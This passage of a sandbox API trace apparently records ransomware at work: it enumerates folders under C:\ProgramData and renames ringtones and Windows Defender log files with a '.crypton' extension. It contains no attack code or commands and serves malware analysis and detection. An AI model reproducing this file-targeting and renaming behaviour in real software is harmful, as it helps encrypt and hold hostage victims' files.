"c:\\programdata\\microsoft\\windows\\ringtones\\ringtone 05.wma.crypton"), dwFlags=0x2) returned 1 [0188.003] MoveFileExW (lpExistingFileName="C:\\\\ProgramData\\Microsoft\\Windows\\Ringtones\\Ringtone 06.wma" (normalized: "c:\\programdata\\microsoft\\windows\\ringtones\\ringtone 06.wma"), lpNewFileName="C:\\\\ProgramData\\Microsoft\\Windows\\Ringtones\\Ringtone 06.wma.crypton" (normalized: "c:\\programdata\\microsoft\\windows\\ringtones\\ringtone 06.wma.crypton"), dwFlags=0x2) returned 1 [0188.055] MoveFileExW (lpExistingFileName="C:\\\\ProgramData\\Microsoft\\Windows\\Ringtones\\Ringtone 07.wma" (normalized: "c:\\programdata\\microsoft\\windows\\ringtones\\ringtone 07.wma"), lpNewFileName="C:\\\\ProgramData\\Microsoft\\Windows\\Ringtones\\Ringtone 07.wma.crypton" (normalized: "c:\\programdata\\microsoft\\windows\\ringtones\\ringtone 07.wma.crypton"), dwFlags=0x2) returned 1 [0188.129] MoveFileExW (lpExistingFileName="C:\\\\ProgramData\\Microsoft\\Windows\\Ringtones\\Ringtone 08.wma" (normalized: "c:\\programdata\\microsoft\\windows\\ringtones\\ringtone 08.wma"), lpNewFileName="C:\\\\ProgramData\\Microsoft\\Windows\\Ringtones\\Ringtone 08.wma.crypton" (normalized: "c:\\programdata\\microsoft\\windows\\ringtones\\ringtone 08.wma.crypton"), dwFlags=0x2) returned 1 [0188.204] MoveFileExW (lpExistingFileName="C:\\\\ProgramData\\Microsoft\\Windows\\Ringtones\\Ringtone 09.wma" (normalized: "c:\\programdata\\microsoft\\windows\\ringtones\\ringtone 09.wma"), lpNewFileName="C:\\\\ProgramData\\Microsoft\\Windows\\Ringtones\\Ringtone 09.wma.crypton" (normalized: "c:\\programdata\\microsoft\\windows\\ringtones\\ringtone 09.wma.crypton"), dwFlags=0x2) returned 1 [0188.254] MoveFileExW (lpExistingFileName="C:\\\\ProgramData\\Microsoft\\Windows\\Ringtones\\Ringtone 10.wma" (normalized: "c:\\programdata\\microsoft\\windows\\ringtones\\ringtone 10.wma"), lpNewFileName="C:\\\\ProgramData\\Microsoft\\Windows\\Ringtones\\Ringtone 10.wma.crypton" (normalized: "c:\\programdata\\microsoft\\windows\\ringtones\\ringtone 10.wma.crypton"), dwFlags=0x2) returned 1 [0188.263] FindFirstFileA (in: lpFileName="C:\\\\ProgramData\\Microsoft\\Windows\\Sqm\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x60ae73a0, ftCreationTime.dwHighDateTime=0x1d2de2a, ftLastAccessTime.dwLowDateTime=0xed927d00, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xed927d00, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3d000835, cFileName=".", cAlternateFileName="")) returned 0x549790 [0188.268] FindFirstFileA (in: lpFileName="C:\\\\ProgramData\\Microsoft\\Windows\\Sqm\\Manifest\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x60ae73a0, ftCreationTime.dwHighDateTime=0x1d2de2a, ftLastAccessTime.dwLowDateTime=0xed927d00, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xed927d00, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3d000835, cFileName=".", cAlternateFileName="")) returned 0x549810 [0188.273] FindFirstFileA (in: lpFileName="C:\\\\ProgramData\\Microsoft\\Windows\\Sqm\\Sessions\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x60ae73a0, ftCreationTime.dwHighDateTime=0x1d2de2a, ftLastAccessTime.dwLowDateTime=0xed94de60, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xed94de60, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3d000835, cFileName=".", cAlternateFileName="")) returned 0x549810 [0188.277] FindFirstFileA (in: lpFileName="C:\\\\ProgramData\\Microsoft\\Windows\\Sqm\\Upload\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x60ae73a0, ftCreationTime.dwHighDateTime=0x1d2de2a, ftLastAccessTime.dwLowDateTime=0xed94de60, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xed94de60, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3d000835, cFileName=".", cAlternateFileName="")) returned 0x549810 [0188.283] FindFirstFileA (in: lpFileName="C:\\\\ProgramData\\Microsoft\\Windows\\Start Menu\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfd9dbcac, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xed94de60, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xed94de60, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3d000835, cFileName=".", cAlternateFileName="")) returned 0x549790 [0188.291] FindFirstFileA (in: lpFileName="C:\\\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfd9dbcac, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xed94de60, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xed94de60, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3d000835, cFileName=".", cAlternateFileName="")) returned 0x549810 [0188.301] FindFirstFileA (in: lpFileName="C:\\\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\*", lpFindFileData=0x4aa078 | out: lpFindFileData=0x4aa078*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfd9dbcac, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xed973fc0, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xed973fc0, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3d000835, cFileName=".", cAlternateFileName="")) returned 0x549850 [0188.313] FindFirstFileA (in: lpFileName="C:\\\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\Accessibility\\*", lpFindFileData=0x4a96d0 | out: lpFindFileData=0x4a96d0*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfd9dbcac, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xed99a120, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xed99a120, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3d000835, cFileName=".", cAlternateFileName="")) returned 0x549890 [0188.321] FindFirstFileA (in: lpFileName="C:\\\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\System Tools\\*", lpFindFileData=0x4a96d0 | out: lpFindFileData=0x4a96d0*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfd9dbcac, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xed9c0280, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xed9c0280, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3d000835, cFileName=".", cAlternateFileName="")) returned 0x549890 [0188.329] FindFirstFileA (in: lpFileName="C:\\\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\Tablet PC\\*", lpFindFileData=0x4a96d0 | out: lpFindFileData=0x4a96d0*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x9182055d, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xed9c0280, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xed9c0280, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3d000835, cFileName=".", cAlternateFileName="")) returned 0x549890 [0188.337] FindFirstFileA (in: lpFileName="C:\\\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\Windows PowerShell\\*", lpFindFileData=0x4a96d0 | out: lpFindFileData=0x4a96d0*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xed9e63e0, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xed9e63e0, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3d000835, cFileName=".", cAlternateFileName="")) returned 0x549890 [0188.346] FindFirstFileA (in: lpFileName="C:\\\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Administrative Tools\\*", lpFindFileData=0x4aa078 | out: lpFindFileData=0x4aa078*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xed9e63e0, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xed9e63e0, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3d000835, cFileName=".", cAlternateFileName="")) returned 0x549850 [0188.355] FindFirstFileA (in: lpFileName="C:\\\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Games\\*", lpFindFileData=0x4aa078 | out: lpFindFileData=0x4aa078*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xeda0c540, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xeda0c540, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3d000835, cFileName=".", cAlternateFileName="")) returned 0x549850 [0188.363] FindFirstFileA (in: lpFileName="C:\\\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Java\\*", lpFindFileData=0x4aa078 | out: lpFindFileData=0x4aa078*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7577bc60, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0xeda0c540, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xeda0c540, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3d000835, cFileName=".", cAlternateFileName="")) returned 0x549850 [0188.371] FindFirstFileA (in: lpFileName="C:\\\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Maintenance\\*", lpFindFileData=0x4aa078 | out: lpFindFileData=0x4aa078*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfd9dbcac, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xeda326a0, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xeda326a0, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3d000835, cFileName=".", cAlternateFileName="")) returned 0x549850 [0188.384] FindFirstFileA (in: lpFileName="C:\\\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Microsoft Office\\*", lpFindFileData=0x4aa078 | out: lpFindFileData=0x4aa078*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x77f53bd0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xeda58800, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xeda58800, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3d000835, cFileName=".", cAlternateFileName="")) returned 0x549850 [0188.391] FindFirstFileA (in: lpFileName="C:\\\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Microsoft Office\\Microsoft Office 2010 Tools\\*", lpFindFileData=0x4a96d0 | out: lpFindFileData=0x4a96d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x77f53bd0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xeda58800, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xeda58800, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3d000835, cFileName=".", cAlternateFileName="")) returned 0x549890 [0188.401] FindFirstFileA (in: lpFileName="C:\\\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\SharePoint\\*", lpFindFileData=0x4aa078 | out: lpFindFileData=0x4aa078*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x78038410, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xeda7e960, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xeda7e960, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3d000835, cFileName=".", cAlternateFileName="")) returned 0x549850 [0188.410] FindFirstFileA (in: lpFileName="C:\\\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\*", lpFindFileData=0x4aa078 | out: lpFindFileData=0x4aa078*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfd9dbcac, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xeda7e960, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xeda7e960, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3d000835, cFileName=".", cAlternateFileName="")) returned 0x549850 [0188.420] FindFirstFileA (in: lpFileName="C:\\\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Tablet PC\\*", lpFindFileData=0x4aa078 | out: lpFindFileData=0x4aa078*(dwFileAttributes=0x13, ftCreationTime.dwLowDateTime=0x9182055d, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xedaa4ac0, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xedaa4ac0, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3d000835, cFileName=".", cAlternateFileName="")) returned 0x549850 [0188.430] FindFirstFileA (in: lpFileName="C:\\\\ProgramData\\Microsoft\\Windows\\Templates\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfd9dbcac, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xedacac20, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xedacac20, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3d000835, cFileName=".", cAlternateFileName="")) returned 0x549790 [0188.437] FindFirstFileA (in: lpFileName="C:\\\\ProgramData\\Microsoft\\Windows\\WER\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfd9dbcac, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xedacac20, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xedacac20, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3d000835, cFileName=".", cAlternateFileName="")) returned 0x549790 [0188.444] FindFirstFileA (in: lpFileName="C:\\\\ProgramData\\Microsoft\\Windows\\WER\\ReportArchive\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfda01e06, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xedacac20, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xedacac20, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3d000835, cFileName=".", cAlternateFileName="")) returned 0x549810 [0188.449] FindFirstFileA (in: lpFileName="C:\\\\ProgramData\\Microsoft\\Windows\\WER\\ReportQueue\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x810, ftCreationTime.dwLowDateTime=0xfda01e06, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xedaf0d80, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xedaf0d80, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3d000835, cFileName=".", cAlternateFileName="")) returned 0x549810 [0188.454] FindFirstFileA (in: lpFileName="C:\\\\ProgramData\\Microsoft\\Windows Defender\\*", lpFindFileData=0x4abd70 | out: lpFindFileData=0x4abd70*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xedaf0d80, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xedaf0d80, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3d000835, cFileName=".", cAlternateFileName="")) returned 0x549710 [0188.460] FindFirstFileA (in: lpFileName="C:\\\\ProgramData\\Microsoft\\Windows Defender\\Definition Updates\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xedb16ee0, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xedb16ee0, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3d000835, cFileName=".", cAlternateFileName="")) returned 0x549790 [0188.467] FindFirstFileA (in: lpFileName="C:\\\\ProgramData\\Microsoft\\Windows Defender\\Definition Updates\\Backup\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xedb16ee0, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xedb16ee0, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3d000835, cFileName=".", cAlternateFileName="")) returned 0x549810 [0188.473] FindFirstFileA (in: lpFileName="C:\\\\ProgramData\\Microsoft\\Windows Defender\\Definition Updates\\Updates\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xedb16ee0, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xedb16ee0, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3d000835, cFileName=".", cAlternateFileName="")) returned 0x549810 [0188.480] FindFirstFileA (in: lpFileName="C:\\\\ProgramData\\Microsoft\\Windows Defender\\Definition Updates\\{D2B0B133-42ED-44D3-809A-46EBB62BA863}\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x1fb3099, ftCreationTime.dwHighDateTime=0x1cb892c, ftLastAccessTime.dwLowDateTime=0xedb3d040, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xedb3d040, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3d000835, cFileName=".", cAlternateFileName="")) returned 0x549810 [0188.486] FindFirstFileA (in: lpFileName="C:\\\\ProgramData\\Microsoft\\Windows Defender\\LocalCopy\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xedb3d040, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xedb3d040, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3d000835, cFileName=".", cAlternateFileName="")) returned 0x549790 [0188.493] FindFirstFileA (in: lpFileName="C:\\\\ProgramData\\Microsoft\\Windows Defender\\Quarantine\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xedb631a0, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xedb631a0, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3d000835, cFileName=".", cAlternateFileName="")) returned 0x549790 [0188.499] FindFirstFileA (in: lpFileName="C:\\\\ProgramData\\Microsoft\\Windows Defender\\Scans\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xedb631a0, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xedb631a0, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3d000835, cFileName=".", cAlternateFileName="")) returned 0x549790 [0188.508] FindFirstFileA (in: lpFileName="C:\\\\ProgramData\\Microsoft\\Windows Defender\\Scans\\History\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7690f9e4, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0xedb89300, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xedb89300, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3d000835, cFileName=".", cAlternateFileName="")) returned 0x549810 [0188.514] FindFirstFileA (in: lpFileName="C:\\\\ProgramData\\Microsoft\\Windows Defender\\Scans\\History\\CacheManager\\*", lpFindFileData=0x4aa078 | out: lpFindFileData=0x4aa078*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x76b24d28, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0xedb89300, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xedb89300, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3d000835, cFileName=".", cAlternateFileName="")) returned 0x549850 [0188.521] FindFirstFileA (in: lpFileName="C:\\\\ProgramData\\Microsoft\\Windows Defender\\Scans\\History\\Results\\*", lpFindFileData=0x4aa078 | out: lpFindFileData=0x4aa078*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x244fb42, ftCreationTime.dwHighDateTime=0x1cb892c, ftLastAccessTime.dwLowDateTime=0xedb89300, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xedb89300, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3d000835, cFileName=".", cAlternateFileName="")) returned 0x549850 [0188.527] FindFirstFileA (in: lpFileName="C:\\\\ProgramData\\Microsoft\\Windows Defender\\Scans\\History\\Results\\Resource\\*", lpFindFileData=0x4a96d0 | out: lpFindFileData=0x4a96d0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xa13d69d0, ftCreationTime.dwHighDateTime=0x1d2dda3, ftLastAccessTime.dwLowDateTime=0xedbaf460, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xedbaf460, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3d000835, cFileName=".", cAlternateFileName="")) returned 0x549890 [0188.534] FindFirstFileA (in: lpFileName="C:\\\\ProgramData\\Microsoft\\Windows Defender\\Scans\\History\\Service\\*", lpFindFileData=0x4aa078 | out: lpFindFileData=0x4aa078*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x769ce0c6, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0xedbaf460, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xedbaf460, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3d000835, cFileName=".", cAlternateFileName="")) returned 0x549850 [0188.536] MoveFileExW (lpExistingFileName="C:\\\\ProgramData\\Microsoft\\Windows Defender\\Scans\\History\\Service\\History.Log" (normalized: "c:\\programdata\\microsoft\\windows defender\\scans\\history\\service\\history.log"), lpNewFileName="C:\\\\ProgramData\\Microsoft\\Windows Defender\\Scans\\History\\Service\\History.Log.crypton" (normalized: "c:\\programdata\\microsoft\\windows defender\\scans\\history\\service\\history.log.crypton"), dwFlags=0x2) returned 1 [0188.545] MoveFileExW (lpExistingFileName="C:\\\\ProgramData\\Microsoft\\Windows Defender\\Scans\\History\\Service\\Unknown.Log" (normalized: "c:\\programdata\\microsoft\\windows defender\\scans\\history\\service\\unknown.log"), lpNewFileName="C:\\\\ProgramData\\Microsoft\\Windows Defender\\Scans\\History\\Service\\Unknown.Log.crypton" (normalized: "c:\\programdata\\microsoft\\windows defender\\scans\\history\\service\\unknown.log.crypton"), dwFlags=0x2) returned 1 [0188.551] FindFirstFileA (in: lpFileName="C:\\\\ProgramData\\Microsoft\\Windows Defender\\Scans\\History\\Store\\*", lpFindFileData=0x4aa078 | out: lpFindFileData=0x4aa078*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x244fb42, ftCreationTime.dwHighDateTime=0x1cb892c, ftLastAccessTime.dwLowDateTime=0xedbd55c0, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xedbd55c0, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3d000835, cFileName=".", 